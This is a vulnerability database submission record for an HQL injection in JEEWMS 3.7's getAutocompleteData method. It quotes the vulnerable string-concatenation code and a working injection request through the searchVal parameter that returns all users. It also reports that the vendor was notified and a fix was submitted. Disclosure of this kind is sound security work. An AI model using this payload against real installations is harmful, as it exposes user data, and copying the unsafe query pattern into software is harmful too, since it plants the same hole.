| 标题 | https://github.com/erzhongxmu/JEEWMS JEEWMS 3.7 SQL Injection |
|---|
| 描述 | JEEWMS v3.7 contains a SQL injection vulnerability in the getAutocompleteData method of JeecgFormDemoController.java.
The vulnerable code at line 195-197 directly concatenates user input into HQL:
String searchVal = request.getParameter("searchVal");
String hql = "from TSUser where userName like '%" + searchVal + "%'";
List autoList = systemService.findHql(hql);
An authenticated attacker can inject HQL via the searchVal parameter:
GET /jeecgFormDemoController.do?getAutocompleteData&searchVal=admin (normal)
GET /jeecgFormDemoController.do?getAutocompleteData&searchVal=' or 1=1 or userName like ' (injection - returns all users)
The issue has been reported to the vendor and a fix PR has been submitted: https://github.com/erzhongxmu/JEEWMS/pull/4 |
|---|
| 来源 | ⚠️ https://github.com/Lib0gus/JeeWMS/security/advisories/GHSA-mc7c-w398-v7xp |
|---|
| 用户 | Lib0gus (UID 101005) |
|---|
| 提交 | 2026-09-04 03時37分 (2 月前) |
|---|
| 管理 | 2026-10-10 23時29分 (1 month later) |
|---|
| 状态 | 已接受 |
|---|
| VulDB条目 | 416392 [erzhongxmu Jeewms 直到 3.7 Autocomplete Data JeecgFormDemoController.java getTreeData searchVal SQL注入] |
|---|
| 积分 | 20 |
|---|